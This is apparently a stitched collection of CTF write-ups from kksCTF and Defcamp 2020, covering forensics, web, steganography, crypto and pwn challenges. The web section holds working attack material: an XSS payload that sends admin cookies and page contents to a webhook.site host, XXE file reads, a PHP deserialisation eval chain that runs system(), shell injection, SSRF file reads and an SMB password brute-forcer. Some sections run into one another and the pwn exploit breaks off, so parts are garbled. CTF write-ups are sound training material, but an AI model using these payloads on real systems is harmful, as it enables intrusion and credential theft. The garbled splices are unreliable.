gmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png```
with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image
def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])])
def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 )
pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}")
out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out
import re
def main(file_list): with open(file_list, "r") as f: files = f.readlines()
cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename)
fixed = convert_colors(filename)
qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break
from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data
from pprint import pprint pprint(res)
flag = "".join([res[i] for i in range(1, 69+1)]) print(flag)
if __name__ == "__main__": main("files.txt")```
`CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
|
# not_a_terminator_writeup`You will not able to solve this, until you have your skin on. Arnie will confirm it.Hint: if your flag looks good, but taskboard says "bad flag", try another encoding table. Flag is meaningful and l33t.`
The challenge gave us a picture with some strange characters to find to get the flag.

One teammate pointed out that they were from the "Alien vs. Predator" alphabet where Arnold Schwarzenegger starred but the challenge already gave us a clue by mentioning "Arnie" and "not a terminator". There are a lot of versions online that weren't working and gave us the wrong string until we found this font https://fonts2u.com/predator.font and with lots of patience we got the the flag `kks{Y0uNgArni3IsCoOl}` |
# Blind Shell
- Category: misc- Points: 345- Solved by: 4cul, 01baf, crypt3d4ta
## Problem
It's simple enough, either you've succeeded or you've failed.Connect here: nc tasks.kksctf.ru 30010
## Writeup
In this challenge we are dealing with a particular shell.When we execute a command we have a fixed output which consists of"Success!" in case the execution is successful and "Failed!"on the other hand.
For example:
```$catSuccess!$cFailed!```
The idea is to find files in the current directory, using the terminal output to our advantage.With the aid of ls, wc, and grep, it’s possible to see inside the current directory the number of files, and also their names
To see how much files are in the current directory we’ve run this piece of commands:
```$ ls | wc -l | grep 1Failed!$ ls | wc -l | grep 2Failed!$ ls | wc -l | grep 3Success!```
And to see the name of each file:First we’ve looked with what letter each filename begins:
```$ ls | grep ^f | wc -l | grep 1Success!$ ls | grep ^v | wc -l | grep 1Failed!$ ls | grep ^m | wc -l | grep 1Success!$ ls | grep ^s | wc -l | grep 1Success!```
So there are 3 items into the directory, respectively beginning with ’f’, ‘m’ and ‘s’.Second, using this information, we’ve run the following commands, in order to know their full names:
```$ ls | grep ^fSuccess!$ ls | grep ^flSuccess!$ ls | grep ^flaSuccess!$ ls | grep ^flag\.tSuccess!$ ls | grep ^flag\.txtSuccess!```
The obtained files were: - flag.txt: text file - server.py: python script - maybehere: directory
The same procedure is used to read from flag.txt:
```from pwn import *
alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'
conn = remote('tasks.kksctf.ru', 30010)conn.sendline("cat flag.txt | grep ^L")conn.recvline()
read = 'L'
while True: for i in alphabet: test = read + i print(test) conn.sendline("cat flag.txt | grep " + test) if chr(r[2]) == 'S': read = test break
print("Here's your content: ", read)```After launching the script we obtain:
```Look_around,maybe_here```
The suspect was that inside maybehere directory there was something interesting; so we’ve tried to change the current directory into ./maybehere, but we’ve noticed that ‘cd’ command actually doesn’t change directory - in fact, we’ve tried to type ‘cd /’, but the current working directory remains the same, even if it returns “Success!”.Again, thanks to the superpowers of ls, cat and grep, we’ve looked that into /maybehere there was the file flag.txt; so we’ve run the same script in order to get its content,and we’ve finally discovered the flag
Script:
```from pwn import *
alphabet = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!"#()+,-/:;<=>?@[]^'
conn = remote('tasks.kksctf.ru', 30010)conn.sendline("cat maybehere/flag.txt | grep kks{")conn.recvline()
flag = 'kks{'
while True: for i in alphabet: test = flag + i print(test) conn.sendline("cat maybehere/flag.txt | grep " + test) r = conn.recvline() print(r) if chr(r[2]) == 'S': flag = test break
if flag[-1] == '}': break
print("Here's your flag: ", flag)```
### Flag```kks{Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g}``` |
#### Flag delivery (225 pts)
1. Replace characters with . and - since it is morse code, use some decoder online to get FLAG [file](https://finay.github.io/Writeups/Cyberyoddha/morse.txt)
FLAG: CYCTFR3@D_B3TW33N_TH3_L1N3S |
# Secret Network
---
## Part 1
### Description
Our network engineer and his twin brother decided to develop a new secret network. We suspect that they began to leak corporate data using their secret network. We recorded a dump of the network, can you look and search for anything suspicious?
### Ressources
* [task.pcapng](Secret_Network/task.pcapng)
### Solution
We start by opening the file with Wireshark. We discorvered a lot of ARP and TCP traffic. 192.168.122.139 seems to flood ips .1, .115 and .140.By getting rid of all that flood, we can see an interesting conversation between ips .139 and .115, an http connection to .140 by .139 and a TLS connection to 84.201.135.200 by .139.
The conversation:
```txt$ tshark -r task.pcapng -Y "tcp.flags.push == 1" -T fields -e data | xxd -r -phigood night brotheri get strange messagewho send it?i don't knowBut it doesn't matterIt come from our secret networkI put it in our file serverOk, i will check itAre there any other leads?Yes, their serverI found it tomorrow. In OUR network!gemini.kksctf.ruI don't know how they get knoweledge about our protocol.Domain name: gemini.kksctf.ruOk, i will visit themOh. I hope it's not Big Brother friend...Please, stop read Orwell every day ._.```
The HTTP communication (file server):
```txtGET / HTTP/1.1Host: 192.168.122.140:8000User-Agent: curl/7.66.0Accept: */*
HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/3.7.7Date: Mon, 07 Dec 2020 23:28:27 GMTContent-type: text/html; charset=utf-8Content-Length: 356
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>Directory listing for /</title></head><body><h1>Directory listing for /</h1><hr>inventational.txt<hr></body></html>```
```txtGET /inventational.txt HTTP/1.1Host: 192.168.122.140:8000User-Agent: curl/7.66.0Accept: */*
HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/3.7.7Date: Mon, 07 Dec 2020 23:28:37 GMTContent-type: text/plainContent-Length: 164Last-Modified: Mon, 07 Dec 2020 22:55:26 GMT
HELLO RESEARCHER
YOU ARE WELCOME ON OUR SECRET SERVER
JUST PROOF WHAT YOU ARE NOT A SEARCHING ROBOT AND GET A REWARD
PASSWORD: gemini
BY KKS WITH LOVE AND BEER```
The TLS communication is the same ip than the domain given by one of the brothers: gemini.kksctf.ru.We quickly google about gemini: <https://gemini.circumlunar.space/>There are 2 proxies given on this page, so we used one to check the domain and we get:
---
## Part 2
### Description
And remember, the shark eats everything.
### Solution
This challenge using the same file than the first part. We didn't use the password given in the http connection. There is also something about a searching robot, and the germini site tell us there is some hidden files on it. The first reflex is to check the robots.txt where we get:

We change the directory to go on this new path, but the first proxy seems to not accept to enter a password. So I just change the proxy for the other one on the website.

We can now enter the password and get the flag.
 |
# lynx-writeup`Hello! We're BluePeace organisation, and we introduce the new project - Lynx Forum!`
This challenge gave us a link http://tasks.kksctf.ru:30070/ to a website only saying `You are not lynx, access denied`. So immediately we started googling finding about this lynx text-based web browser, instead of using it we installed a simple user-agent switcher. Reloading the page we are greeted with `WELCOMELet's defend our friend - Lynx - from robots!(C) BluePeace, 2053`
so we already knew we had to visit http://tasks.kksctf.ru:30070/robots.txt. This gave us another link to visit at http://tasks.kksctf.ru:30070/a4d81e99fda29123aee9d4bb and the flag `kks{s0m3_CLI_br0ws3rs_4r3_us3ful}` (sure they are). |
# Defcamp 2020 writeups :triangular_flag_on_post:
## Team information**Team name:** bootplug
**Country**: Norway
**CTFTime profile**: https://ctftime.org/team/81341
**Authors**zup, PewZ, UnblvR, maritio_o, odin
We solved 25/26 challenges. Did not solve `inorder`
---
## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it

This **GET** request seems to contain an interesting parameter that looks like a flag.
Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format```
`CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}`
### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle.
Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it.
By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down.
flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}`
### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe
Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js```
Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat}
Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes```
### spy-agency
Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer:
``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip```
We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge.
The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file.
After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message.
```javapackage com.example.hidden_place;
import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}```
However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut.
Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut')
## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php`
```php 15: print("cmd too long!") return
data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data)
tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret)
url += secret print(url)
params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content)
req = requests.get(url) print(req.content)
if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")```
We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}`
### pirate-crawlerThere is nothing on the main page.
First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN.
In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints.
* `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE`
We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9
#1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry```
We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages.
Using this vulnerability we fetched the SMB config and the app.py source code:
`curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf`
`curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py`
There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin```
`josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB
```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf```
There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist.
```python#!/usr/bin/env python3import requestsimport sys
url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt"
with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip()
r = requests.get(url.format(password=pw))
if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")```
The correct password is `christian`. We can now get the flag!
`http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'`
The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}`
### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither.
The flag is in /var/www/html/flag.```
The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input."
The trick was to figure out that you had to send something in the request body instead of a GET parameter.
`curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test`
A new error message: `That XML string is not well-formed`
Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server.
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin```
However we cannot leak the flag using base64 encoding.
```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```
The error message is `You just tried to exfiltrate using base64? Nice. Try again!`
Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though:
```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '
]><foo>&exfiltrate;</foo>'```We then get this string
`瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡〳`
We can convert this to UTF-8 and get the flag!
`ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}`
### cross-meThe challenge name is a hint that this is an XSS challenge.
After you have logged in you can post notes to the website. The admin will check every note you create.
When trying to post `<script>` tags we get an error message:
`Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i`
The server is validating our notes using regex. It has quite a few different patterns that it checks:
- `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im```
The best way I found to bypass this check is to convert our javascript into HTML entities:
e.g. `asdasd` -> `asdasd`
After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters).
Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works:
`<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<`
Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'```
We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin:
`Referer: http://127.0.0.1:1234/index.php?page=post&id=221`
If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**:
```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})```
This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :)
```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'```
FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}`
### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting
- /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup
At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team.```
If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team. Also you can use /decode/{text} to obtain the contents of your private message.```
A new endpoint! `/decode/{text}`.
Almost everything we tried to insert as *text* makes the server respond with
`bool(false)`
If you insert a symbol, you get `File not found`.
I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string
url = "http://35.198.183.125:30278/decode/"
valid_chars = []
headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"}
for c in string.printable: r = requests.get(url+c, headers=headers)
if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip())
print(''.join(valid_chars))```
The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=`
This looks like base64 to me!
At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key:
`APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=`
We also find the decode function used in the Laravel app.
```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }```
This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization?
To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php`
```php<?php
namespace App\Http\Middleware;
use Closure;use Illuminate\Http\Request;
class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // }
public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}```
If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled.
I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16);
echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);```
Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==`
We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory.
```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D
%```
FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}`
## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`.
I then tried to extract using `stug` as password:
```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}`
## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests
from base64 import b64decodefrom pprint import pprint
from Crypto.Cipher import ChaCha20, Salsa20
# {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}
def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return
res = json.loads(res.content) pprint(res)
key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}")
#cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext)
cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext)
if __name__ == "__main__": main("http://34.89.241.255:30013")
# ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match.
### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))```
There is also a hint here about the first 3 null bytes being the best hint we can get.
Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes.
I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text
a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))```
Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}`
## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
